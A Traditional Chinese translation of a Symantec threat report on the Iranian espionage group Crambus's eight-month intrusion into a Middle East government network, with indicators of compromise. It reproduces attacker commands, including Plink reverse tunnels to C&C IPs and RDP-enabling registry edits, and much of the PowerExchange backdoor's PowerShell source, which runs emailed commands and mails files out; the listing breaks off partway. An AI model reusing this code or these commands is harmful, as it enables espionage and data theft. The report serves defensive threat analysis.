Crambus：針對中東政府的新攻擊活動

2023 年 10 月 19 日發布｜威脅情報

威脅獵手團隊
賽門鐵克

與伊朗有關的攻擊者在八個月內入侵多台電腦和伺服器

伊朗的間諜組織 Crambus (又名 OilRig、APT34) 在 2023 年 2 月至 9 月間對中東某國家政府發動長達八個月的入侵。在入侵其間，攻擊者竊取檔案和密碼，並在一個案例中安裝一個稱為 PowerExchange 的 PowerShell 後門，用於監控從 Exchange 伺服器寄來的郵件，以執行攻擊者以郵件形式發送的命令，並將結果暗中轉寄給攻擊者。惡意活動至少發生在 12 台電腦上，有證據表明攻擊者還在數十台電腦上部署後門和鍵盤側錄程式。

除了部署惡意軟體外，攻擊者還頻繁使用公開可用的網路管理工具 Plink，在被攻擊的機器上設定通訊埠轉送的規則，通過遠端桌面協定 (RDP) 實現遠端存取。還有證據顯示，攻擊者修改 Windows 防火牆規則，以實現遠端存取。

背景

Crambus 是一個長期運作的伊朗間諜組織，曾針對多個國家的目標進行入侵，包括沙烏地阿拉伯、以色列、阿拉伯聯合大公國、伊拉克、約旦、黎巴嫩、科威特、卡達、阿爾巴尼亞、美國和土耳其。

眾所周知，該組織為收集情報和從事間諜活動而進行長期入侵。近年來，它在攻擊的早期階段增加大量社交工程的成分。

該組織最近一次引起關注是在去年，當時微軟將該組織與針對阿爾巴尼亞政府的破壞性攻擊連結起來。根據評估，Crambus 涉及從受影響網路獲取初始存取權和資料洩漏的工作。隨後，其他與伊朗有關聯的行動者很可能部署 Wipers。

使用的工具集

在最近這次攻擊中，Crambus 部署三個以前從未被發現的惡意軟體，以及 PowerExchange 後門，這是一個已知的後門，但尚未被歸屬於 Crambus。除惡意軟體外，攻擊者還使用許多就地取材工具和合法工具。

- **Backdoor.Tokel**：具有執行任意 PowerShell 命令和下載檔案的能力。命令和控制 (C&C) 位址存儲在一個單獨的 RC4 加密檔 token.bin，該檔案保存在工作目錄中。
- **Trojan.Dirps**：用於列舉目錄中的所有檔並執行 PowerShell 命令。
- **Infostealer.Clipog**：資訊竊取惡意軟體，能夠複製剪貼簿資料、擷取鍵盤敲擊並記錄按鍵輸入的內容。
- **Backdoor.PowerExchange**：基於 PowerShell 的惡意軟體，可使用硬編碼憑證登入 Exchange 伺服器並監控攻擊者所發送的電子郵件。它使用 Exchange 伺服器作為 C&C 惡意中繼站。收到的郵件主旨中含有『@@』，其中包含攻擊者發送的命令，允許攻擊者執行任意 PowerShell 命令、寫入檔案和竊取檔案。惡意軟體會建立一個 Exchange 規則 (名為『defaultexchangerules』) 來過濾這些郵件，並將它們自動移動到『刪除的郵件』資料夾。
- **Mimikatz**：公開可用的憑證傾印工具。
- **Plink**：PuTTY SSH 用戶端的命令列連接工具。

攻擊時間表

2023 年 2 月 1 日，目標網路上首次出現惡意活動的證據，當時從一個可疑目錄 CSIDL_PROFILE\public\sat 中執行一個未知的 PowerShell 腳本 (檔案名稱：joper.ps1)。在接下來的七天中，同一腳本在同一台電腦 (電腦 1) 上被多次執行。

四天後，也就是 2 月 5 日，攻擊者存取第二台電腦 (電腦 2)，並使用重命名版本的 Plink (msssh.exe)，這是 PuTTY SSH 用戶端的命令列連接工具，用來設定通訊埠轉送規則，允許從遠端主機存取 RDP：

```
CSIDL_PROFILE\public\sat\msssh.exe 151.236.19[.]91 -P [REMOVED]-C -N -R 0.0.0.0:54231:127.0.0.1:3389 -l [REMOVED] -pw [REMOVED]
```

直到 2 月 12 日，這個偽裝的 Plink (mssh.exe) 一直在這台電腦上重複執行。

2 月 21 日，在網站伺服器 (網站伺服器 1) 上開始惡意活動，當時執行一個 netstat 命令，以查看所有 TCP 和 UDP 連接的完整列表。

netstat /an

netstat 命令參數執行以下操作：

- **/a**：顯示所有連接和監聽通訊埠。
- **/n**：以數值顯示 IP 位址，而不解析主機名稱。

接下來，再次啟動 Plink (mssh.exe)，以啟用遠端 RDP 存取。之後，有證據顯示 PowerShell 腳本被用來掛載網路上另一台電腦的 C: 磁碟機。

4 月 8 日，攻擊者獲得第三台電腦 (電腦3) 存取權，從 %USERPROFILE%\public 目錄中執行另一個 Plink 變種，用來將所有可用網路介面上的 3389 埠轉到 999 埠：

```
CSIDL_PROFILE\public\plink.exe [REMOVED] -pw [REMOVED] -P [REMOVED] -2 -4 -T -N -C -R 0.0.0.0:999:127.0.0.1:3389
```

命令中的參數選項執行以下操作：

- **-2 -4**：為連接啟用 SSH v2 和 IPv4 協定。
- **-T**：為遠端對話要求一個模擬終端機。
- **-N**：防止執行遠端命令，通常用於設定通訊埠。
- **-R 0.0.0.0:999:127.0.0.1:3389**：指定遠端通訊埠轉送。它指示遠端伺服器監聽所有網路介面(0.0.0.0)上的 999 埠，並將任何傳入連接轉送到本機電腦 (執行命令的電腦) 上的 3389 埠(127.0.0.1:3389)。這樣就有效地建立一個通道，允許攻擊者通過 SSH 連接存取 RDP 等遠端服務。

與此同時，一個未知的批次檔被執行，並將輸出結果轉成文字檔存放到 %USERPROFILE%\public 目錄中。

```
cmd /c CSIDL_PROFILE\public\p2.bat > CSIDL_PROFILE\public\001.txt 2>&1
```

隨即，相同的 Plink 命令再次被執行。緊接著，同樣的未知批次腳本又被執行了多次。

當天晚些時候，從 %TEMP% 目錄中執行 Mimikatz，用以傾印憑證。

4 月 9 日，在新入侵的電腦網域控制站 (電腦 4) 上執行了另一條 netstat 命令：

netstat /aon

『o』選項增加了使用每個網路連接或監聽埠的相關處理程序的識別碼 (PID)。該命令將提供所有活動網路連接 (傳入和傳出) 的列表，以及使用這些連接的相關處理程序的 PID。三小時後，再次執行 Mimikatz 傾印憑證。

第二天，即 4 月 10 日，在電腦 3 上執行一個未知的批次檔 (檔案名稱：p.bat)。隨後又執行了 Plink 命令：

```
plink.exe ssh 78.47.218[.]106 1234qweRRR 443 10999 10.75.45.222 3389
```

這些選項可執行以下操作:

- **ssh**：表示連接使用的是 SSH 協定。
- **78.47.218[.]106**：使用 SSH 連接的遠端伺服器的 IP 位址。
- **1234qweRRR**：可能是驗證遠端伺服器所需的密碼。
- **443**：遠端伺服器 SSH 連接的埠號。
- **10999**：Plink 用於建立通道的本機端埠號。
- **10.75.45.222**：本機電腦或網路的 IP 位址。

- **3389**：遠端桌面協定 (RDP) 埠號。這表示流量正從遠端伺服器的 3389 埠轉送到本地電腦，以進行遠端桌面存取。

該命令用於從受攻擊的機器上建立通訊埠轉送通道，以便像在本地執行一樣存取遠端伺服器的 RDP 服務。

4 月 23 日，電腦 3 上的活動再次出現，執行以前從未見過的名為 Backdoor.Tokel 的惡意軟體 (檔案名稱：telecomm.exe)。

5 月 7 日，網域控制站 (電腦 4) 上執行一條可疑的 PowerShell 命令，以執行一個未知的腳本 (檔案名稱：hwf.ps1)。

惡意活動似乎停止近一個月，直到 6 月 4 日，Backdoor.Tokel 在電腦 3 上再次被執行。6 月 17 日，網域控制站 (電腦 4) 上執行一條可疑的 PowerShell 命令，以執行另一個未知的腳本 (檔案名稱：zone.ps1)。

收集電子郵件

6 月 20 日，在電腦 3 上執行 Backdoor.PowerExchange (檔案名稱：setapp.ps1)。

這個 PowerShell 的後門是用來執行攻擊者發來的命令。具體方法是登入 Exchange 伺服器上被入侵的電子信箱，並監控攻擊者發來的電子郵件。Backdoor.PowerExchange 會讀取主旨列中包含『@@』的電子郵件，並執行從攻擊者處接收的命令，從而有效地將 Exchange 伺服器用作 C&C。

該腳本允許執行四個命令：

- 如果檢測到郵件附加檔，它會使用 Base64 對其解碼，並透過 PowerShell 執行。
- **cf**：解碼電子郵件本文中的 Base64 字串並通過 PowerShell 執行。命令結果將通過電子郵件發送回攻擊者。
- **uf**：使用 Base64 解碼檔案路徑和檔案內容，並使用 WriteAllBytes方法 將檔案寫入系統。
- **df**：使用 Base64 編碼指定的檔案，並通過電子郵件發送給攻擊者。如果檔大於 5MB，它會向攻擊者發送以下資訊：『Size is Greater than 5 MB』。

攻擊者很可能將腳本安裝在網路上的一台普通電腦上，以避免因網路流量異常而引起懷疑，因為內部電腦與 Exchange Server 連接是預期中的行為。

惡意活動仍然持續

7 月 1 日，攻擊者再次利用偽裝版 Plink 在電腦 3 上打開通道，將 RDP 重導向到任何監聽介面上的 12345 埠，從而有效地允許外部通過 RDP 與被攻擊電腦進行連接。第二天，即 7 月 2 日，攻擊者使用 netstat 列出所有開啟和監聽的 TCP 和 UDP 埠。攻擊者可能是在檢查 SSH 通道是否

仍處於有效的狀態。

7 月 8 日，攻擊者使用網域控制站 (電腦 4) 在遠端主機(10.75.45[.]222)上建立一個服務，以執行一個未知腳本 (檔案名稱：pl.bat)。該服務被設定為在系統啟動過程中自動啟用。

在接下來的兩天，即 7 月 9 日和 10 日，另一個名為 Trojan.Dirps 的新惡意軟體 (檔案名稱：virtpackage.exe) 在電腦 3 上被反覆執行。

7 月 11 日，攻擊者向電腦 3 導入更多惡意工具，安裝第三個新的惡意軟體，名為 Infostealer.Clipog (檔案名稱 (poluniq.exe))，用於擷取按鍵和竊取剪貼簿內容。

第二天(7 月 12 日)，攻擊者在網域控制站 (電腦 4) 上執行 Mimikatz，以傾印憑證。

7 月 15 日，攻擊者再次在網域控制站 (電腦 4) 上執行未知 PowerShell 腳本 (zone.ps1)，隨後又執行第二個未知腳本 (copy.ps1)。

7 月 18 日，攻擊者再次在電腦 3 上執行 Infostealer.Clipog，然後使用 Plink 建立 SSH 通道以存取 RDP 服務。8 月 3 日，攻擊者再次建立 SSH 通道。

8 月 6 日，在網域控制站 (電腦 4) 上執行另一個未知 PowerShell 腳本 (檔案名稱：tnc.ps1)。隨即觀察到 Nessus 執行漏洞掃描，特別是在網路上的其他機器上搜索 Log4j 漏洞。雖然這可能是合法的漏洞掃描活動，但不久之後，netsh 被執行以列出所有防火牆規則。

```
CSIDL_SYSTEM\netsh.exe advfirewall firewall show rule name=[REMOVED] verbose
```

隨後，又執行了另一個 PowerShell 腳本。該腳本似乎是用來查詢和收集 Windows 系統中有關本機使用者群組及其成員的資訊。它的輸出是有關本機用戶群組及其成員的 SID、名稱、物件類別和本機使用者群組及其成員的主要來源的結構化格式資訊。

```
CSIDL_SYSTEM\windowspowershell\v1.0\powershell -NoProfile -Command ; & {$j = sajb {$ErrorActionPreference = 'SilentlyContinue';$groups = Get-LocalGroup | Select-Object Name, Domain, SID;foreach($g in $groups){-join($g.SID,'|',$g.Name);$members = Get-LocalGroupMember -SID $g.SID | Select *;foreach($m in $members){-join(' ',$m.SID,'|',$m.Name,'|',$m.ObjectClass,'|',$m.PrincipalSource);}};$r = wjb $j -Timeout 300; rcjb $j;}；
```

之後，使用 net.exe 列出所有對應網路磁碟，然後使用 WMI(Windows 管理工具) 執行 Plink，以便在被入侵主機上啟用通訊埠轉送，允許遠端 RDP 存取。

8 月 7 日和 8 月 12 日，Plink 從網際網路下載到網域控制站 (電腦 4) 上，並儲存為 \ProgramData\Adobe.exe。

8 月 30 日，攻擊者獲得存取第二個網站伺服器 (網站伺服器 2) 許可權。他們首先使用 Plink 從其 C&C 伺服器 (91.132.92[.]90) 存取埠 12345 上的 RDP。然後，他們使用不同的檔案名稱(fs-tool.exe) 安裝 Infostealer.Clipog。

第二天，即 8 月 31 日，攻擊者再次建立通道，從其 C&C 伺服器打開 4455 埠的 RDP 存取。輸出被轉向到一個文字檔 (檔案名稱：001.txt)。由於攻擊者後來試圖建立相同的通道，這次使用的是 12345 埠，因此可能出現一些連接問題。

9 月 1 日，攻擊者將注意力轉移到另外三台電腦 (電腦 5、電腦 6 和電腦 7) 上，使用 Certutil 將 Plink 下載到每台電腦上。然後，他們在網站伺服器 2 上執行一個未知的 PowerShell 腳本(檔案名稱：joper.ps1)。

9 月 2 日，攻擊者在網站伺服器 2 上執行了以下 netstat 命令：

netstat -a

該命令用於列出所有作用中的連線。然後再次執行未知的 PowerShell 腳本 (檔案名稱：joper.ps1)。

9 月 3 日，攻擊者再次執行 joper.ps1，然後執行兩條可疑的 Wireshark 命令：

```
;CSIDL_SYSTEM_DRIVE\program files\wireshark\extcap\usbpcapcmd.exe; --extcap-interfaces --extcap-version=4.0
;CSIDL_SYSTEM_DRIVE\program files\wireshark\dumpcap.exe; -D -Z none
```

Wireshark 的 usbcapcmd 公用程式用於擷取指定 USB 設備上的 USB 流量，並將擷取的資料保存到檔案中。同樣，dumpcap 也用於擷取網路封包。

Usbpcapcmd：

- **--extcap-interfaces**：該選項用於列出可用的外部擷取介面。
- **--extcap-version=4.0**：將 Extcap 版本設為 4.0 (確保與 Wireshark 相容)。

Dumpcap：

- **-D**：用於列出所有可用的擷取介面。
- **-Z none**：將擷取過濾器設為『none』，即擷取指定介面上的所有封包。

攻擊者似乎對識別任何可用的網路或 USB 介面感興趣，他們可以從這些介面擷取機器上的封包。

緊接著，執行一條可疑的 netstat 命令：

netstat -a -n

這將列出所有作用中的連線，並以數值格式傳送到標準輸出裝置中。

再次執行 joper.ps1 後，攻擊者將注意力轉回電腦 3，在那裡執行大量 reg.exe 命令：

```
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\
Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

這些命令用於修改系統組態，以啟用終端服務 (即通過 RDP 對電腦進行遠端存取)。

幾小時後，又執行一條可疑的 net.exe 命令，使用竊取的憑證掛載另一台電腦的 c$ 共用。

```
;CSIDL_SYSTEM\net.exe; use \[REMOVED]\c$ /user:[REMOVED] [REMOVED]
[REMOVED]
```

9 月 4 日，攻擊者在網站伺服器 2 上執行 joper.ps1 腳本的三個不同變種。然後，他們將注意力轉回電腦 1，在該電腦上安裝 Backdoor.Tokel 惡意軟體的新變種。

第二天，9 月 5 日，攻擊者再次在網站伺服器 2 上執行 joper.ps1 腳本，同時使用 net.exe 來掛載和卸載各種網路共用。隨後，他們再次在電腦 3 上執行 Backdoor.Tokel，然後將其安裝到另外兩台電腦 (電腦 9 和電腦 10) 上。

惡意活動一直持續到 9 月 9 日，攻擊者主要將注意力集中在網站伺服器 2 上，執行 joper.ps1 腳本並掛載／卸載網路共用。

持續威脅

Crambus 是一個長期運作、經驗豐富的間諜組織，在針對伊朗感興趣的目標開展長期活動方面擁有豐富的專業知識。2019 年其工具集洩露後，有人猜測 Crambus 可能會消失。然而，它在過去兩年的活動表明，它對中東和更遠地區的組織造成持續的威脅。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵／感染指標 (IOC:ndicators of Compromise)

如果 IOC 是惡意的並且我們可以取得該檔案，賽門鐵克端點解決方案將檢測並攔截阻止該檔案。

4d04ad9d3c3abeb61668e52a52a37a46c1a60bc8f29f12b76ff9f580caeefba8 - Backdoor.Tokel
41672b08e6e49231aedf58123a46ed7334cafaad054f2fd5b1e0c1d5519fd532 - Backdoor.Tokel
497e1c76ed43bcf334557c64e1a9213976cd7df159d695dcc19c1ca3d421b9bc - Trojan.Dirps
75878356f2e131cefb8aeb07e777fcc110475f8c92417fcade97e207a94ac372 - Infostealer.Clipog
d884b3178fc97d1077a13d47aadf63081559817f499163c2dc29f6828ee08cae - Backdoor.PowerExchange
a1a633c752be619d5984d02d4724d9984463aa1de0ea1375efda29cadb73355a - PowerShell script
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 - PowerShell script

159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script
6b9f60dc91fbee3aecb4a875e24af38c97d3011fb23ace6f34283a73349c4681 – PowerShell script
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script
be6d631fb2ff8abe22c5d48035534d0dede4abfd8c37b1d6cbf61b005d1959c1 – PowerShell script
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script
6bad09944b3340947d2b39640b0e04c7b697a9ce70c7e47bc2276ed825e74a2a – PowerShell script
ba620b91bef388239f3078ecdcc9398318fd8465288f74b4110b2a463499ba08 – PowerShell script
d0bfdb5f0de097e4460c13bc333755958fb30d4cb22e5f4475731ad1bdd579ec – PowerShell script
5a803bfe951fbde6d6b23401c4fd1267b03f09d3907ef83df6cc25373c11a11a – PowerShell script
1698f9797f059c4b30f636d16528ed3dd2b4f8290e67eb03e26181e91a3d7c3b – PowerShell script
23db83aa81de19443cafe14c9c0982c511a635a731d6df56a290701c83dae9c7 – PowerShell script
41ff7571d291c421049bfbd8d6d3c51b0a380db3b604cef294c1edfd465978d9 – PowerShell script
c488127b3384322f636b2a213f6f7b5fdaa6545a27d550995dbf3f32e22424bf – PowerShell script
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script
927327bdce2f577b1ee19aa3ef72c06f7d6c2ecd5f08acc986052452a807caf2 – PowerShell script
a6365e7a733cfe3fa5315d5f9624f56707525bbf559d97c66dbe821fae83c9e9 – PowerShell script
c3ac52c9572f028d084f68f6877bf789204a6a0495962a12ee2402f66394a918 – PowerShell script
7e107fdd6ea33ddc75c1b75fdf7a99d66e4739b4be232ff5574bf0e116bc6c05 – PowerShell script
78.47.218[.]106 – Plink C&C
192.121.22[.].46 – Plink C&C
151.236.19[.]91 – Plink C&C
91.132.92[.]90 – Plink C&C

PowerExchange Script

```
$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.
UTF8Encoding
$dir="$env:PUBLIC\MicrosoftEdge"
$directory = get-childitem -Path "$($dir)\*" -Include 'config.conf'
$userid = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME))
$mailList = New-Object Collections.Generic.List[String]
$mailList.Add('Ahmed_Alrashed20@outlook.com')
```

```
$subject = "Update Microsoft Edge"
$body = "Microsoft Edge Update"
$rule = "defaultexchangerules"
function addrule
{
$NewRule = [Microsoft.Exchange.WebServices.Data.Rule]::new()
$NewRule.DisplayName = $rule
$NewRule.Priority = 1
$newRule.IsEnabled = $true;
$NewRule.Conditions.ContainsSubjectStrings.Add("@@")
$NewRule.Actions.MoveToFolder = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Delet
edItems
$CreateRuleOperation = [Microsoft.Exchange.WebServices.Data.CreateRuleOperation]::new($NewRule)
$ExchangeService.UpdateInboxRules([Microsoft.Exchange.WebServices.Data.RuleOperation[]]@
($CreateRuleOperation),$true)
}
function connection
{
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(
        ServicePoint srvPoint, X509Certificate certificate,
        WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$dllpath = get-childitem -Path "$($dir)\*" -Include 'Microsoft.Exchange.WebServices.dll'
try{[void][Reflection.Assembly]::LoadFile($dllpath.FullName)}catch{$_.Exception | Out-File -FilePath
"$($dir)\EWSERROR.txt" -Append;exit}
$global:ExchangeService = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$ExchangeService.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
$urllist = @([System.Uri][REMOVED],[System.Uri] [REMOVED],[System.Uri] [REMOVED])
$userlist = @([REMOVED],[REMOVED])
foreach($item in $userlist )
{
$username=$item.split('ll')[0]
$password=$item.split('ll')[2]
if(-not [string]::IsNullOrEmpty($username))
```

```
{
   $ExchangeService.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials($use
rname,$password)
   foreach($url in $urllist)
   {
      $ExchangeService.Url=$url
      try
         {
            $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microso
ft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
            $rules= $ExchangeService.GetInboxRules().DisplayName
            if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules"))
{addrule}}else{addrule}
            return $true
         }
      catch{"URL: "+$url.Host+[Environment]::NewLine+"User: "+$username+[Environment]::NewLine+$_.
Exception.Message | Out-File -FilePath "$($dir)\EWSERROR.txt" -Append}
   }
}
$exchangeservice.UseDefaultCredentials=$true
foreach($url in $urllist)
{
   try
      {
         $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microsoft.
Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
         $rules= $ExchangeService.GetInboxRules().DisplayName
         if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules")){addrule}}
else{addrule}
         return $true
      }
   catch{}
}
if(-not [string]::IsNullOrEmpty($username))
{
   $ExchangeService.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials($use
rname,$password)
   try
      {
         $ExchangeService.AutodiscoverUrl($username)
         try
            {
```

```
                $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Micro
soft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
                $rules= $ExchangeService.GetInboxRules().DisplayName
                if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules"))
{addrule}}else{addrule}
                return $true
            }catch{}
        }catch{}
}
$exchangeservice.UseDefaultCredentials = $true
try
{
    $ExchangeService.AutodiscoverUrl($username)
    try
        {
            $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microsoft.
Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
            $rules= $ExchangeService.GetInboxRules().DisplayName
            if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules")){addrule}}
else{addrule}
            return $true
        }catch{}
}catch{Continue}
}
}
function clean
{
    $folder = New-Object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.
Data.WellKnownFolderName]::Inbox)
    try{$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($exchangeservice,$folder)}
catch{}
    $iv = New-object Microsoft.Exchange.WebServices.Data.ItemView(10)
    $inboxitems= $inboxfolder.FindItems($iv)
    $itemIds = $inboxitems.id.UniqueId
    foreach($itemId in $itemIds)
        {
            try{$message = [Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$itemId)}
catch{}
            if($mailList.Contains($message.ToRecipients.Name))
            {
                $message.Delete('HardDelete')
            }
```

```
        }
}
function sendMessage
{param([string]$mail,[string]$data)
    $message = New-Object Microsoft.Exchange.WebServices.Data.EmailMessage($ExchangeService)
    $Resultb64Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
    $message.ToRecipients.Add($mail)
    $message.Subject = $subject
    $message.Body = $body
    $message.Attachments.AddFileAttachment("New Text Document.txt",$Resultb64Bytes)
    try{$message.Send()}catch{}
    Start-Sleep -Seconds 15
    clean
}
function verify
{
    $response = New-Object Collections.Generic.List[String]
    $Inbox = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox
    $DeletedItems=[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::DeletedItems
    $JunkEmail=[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::JunkEmail
    $folders=@($DeletedItems,$Inbox,$JunkEmail)
    foreach($f in $folders)
    {
        $folder = New-Object Microsoft.Exchange.WebServices.Data.FolderId($f)
        try{$inboxfolder=[Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,$folder)}
catch{}
        $iv = New-object Microsoft.Exchange.WebServices.Data.ItemView(10)
        $searchFilter = New-Object Microsoft.Exchange.WebServices.Data.SearchFilter+ContainsSubstring([Mi
crosoft.Exchange.WebServices.Data.ItemSchema]::subject,'@@')
        $result = $ExchangeService.FindItems($folder,$searchFilter,$iv)
        if(-not [string]::IsNullOrEmpty($result))
           {
              $ItemIds = $result.id.UniqueId
              foreach($ItemId in $ItemIds)
              {
                 try{$x=[Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$ItemId)}
catch{}
                 $mailSender = $x.sender.Address
                 $xx = $x.Subject -match "@@(.*)@@"
                 try{$id=$Matches[1]}catch{}
                 if(-not [string]::IsNullOrEmpty($id))
                    {
```

```
                    if($id -eq $userid )
                    {
                        $response.Add("planA")
                        $response.Add($ItemId)
                        return $response
                    }
                }
            elseif($flag -eq $false)
                {
                    $response.Add("planB")
                    $response.Add($mailSender)
                    return $response
                }
            }
        }
    }
    return $response
}
function main{
    Param
    (
        [string] $ItemId
    )
        try{$message=[Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$ItemId)}catch{}
        $mailSender = $message.Sender.Address
        $message.IsRead=$true
        $message.Update([Microsoft.Exchange.WebServices.Data.ConflictResolutionMode]::AutoResolve)
        foreach($attachment in $message.Attachments)
        {
            $attachment.Load()
            $RawData = ([System.Text.Encoding]::UTF8.GetString($attachment.Content)).substring(7)
            if ($RawData.Length%4 -ne 0)
            {
                $newRawData = $RawData.PadRight(($RawData.Length+$RawData.Length%4),'=')
                $Data = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newRa
wData))
            }else{
                $Data = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RawData))
            }
            iex($Data)
            $message.Delete('HardDelete')
            if($cf -eq $true)
```

```
        {
            $uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
            foreach ($h in $cmd.GetEnumerator())
            {
                if (($h.value).Length%4 -ne 0)
                {
                    $newValue = ($h.value).PadRight((($h.value).Length+($h.value).Length%4),'=')
                     $com = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ne
wValue))
                }else{
                     $com = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h.
value))
                }
                            if(![string]::IsNullOrEmpty($com))
                {
                    $run = iex $com | out-string
                    $extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
                     $Total += "$($uuid)$($userid):$($h.Name):$($uuid)$([System.Convert]::ToBase64String([Sy
stem.Text.Encoding]::UTF8.GetBytes("$run"))):$($uuid)$($extb64)"+[System.Environment]::Newline
                }
            }
            sendMessage $mailSender $Total
        }
        if($df -eq $true)
        {
            $uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
            foreach ($h in $dl.GetEnumerator())
             {
                if (($h.value).Length%4 -ne 0)
                {
                    $newpath = $($h.value).PadRight(($($h.value).Length+$($h.value).Length%4),'=')
                     $path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ne
wpath)).Replace("","")
                }else{
                     $path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h.
value)).Replace("","")
                }
                $size = (Get-Item $path).Length
                if($size -lt 5mb )
                   {
                     $DataBytes= [System.IO.File]::ReadAllBytes($path)
                     $Datab64 = [Convert]::ToBase64String($DataBytes)
```

```
                $ext = [System.IO.Path]::GetExtension($path)
                $extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ext))
            }
            else
            {
                $Datab64= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("Size is Greater than 5 MB"))
                $extb64= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
            }
            $Total += "$($uuid)$($userid):$($h.Name):$($uuid)$($Datab64):$($uuid)$($extb64)"+[System.Environment]::Newline
        }
        sendMessage $mailSender $Total
    }
    if($uf -eq $true)
    {
        $uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
        foreach ($h in $up.GetEnumerator())
        {
            $Fileb64 = ($h.value).split(':')[0]
            $Pathb64 = ($h.value).split(':')[1]
            if ($Pathb64.Length%4 -ne 0)
            {
                $newpathb64 = $Pathb64.PadRight(($Pathb64.Length+$Pathb64.Length%4),'=')
                $path_save = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newpathb64)).Replace("","")
            }else{
                $path_save = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Pathb64)).Replace("","")
            }
            if ($Fileb64.Length%4 -ne 0)
            {
                $newFileb64 = $Fileb64.PadRight(($Fileb64.Length+$Fileb64.Length%4),'=')
                $Fileb64Bytes = [System.Convert]::FromBase64String($newFileb64)
            }else{
                $Fileb64Bytes = [System.Convert]::FromBase64String($Fileb64)
            }
            [System.IO.File]::WriteAllBytes($path_save,$Fileb64Bytes)
